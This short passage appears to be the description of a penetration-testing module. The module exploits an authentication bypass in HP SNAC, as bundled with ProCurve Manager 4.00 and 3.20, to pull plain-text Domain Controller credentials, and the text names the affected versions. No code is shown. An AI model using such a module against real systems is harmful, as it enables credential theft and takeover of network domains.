        This module will extract Domain Controller credentials from vulnerable installations of HP
        SNAC as distributed with HP ProCurve 4.00 and 3.20. The authentication bypass vulnerability
        has been used to exploit remote file uploads. This vulnerability can be used to gather important
        information handled by the vulnerable application, like plain text domain controller
        credentials. This module has been tested successfully with HP SNAC included with ProCurve
        Manager 4.0.
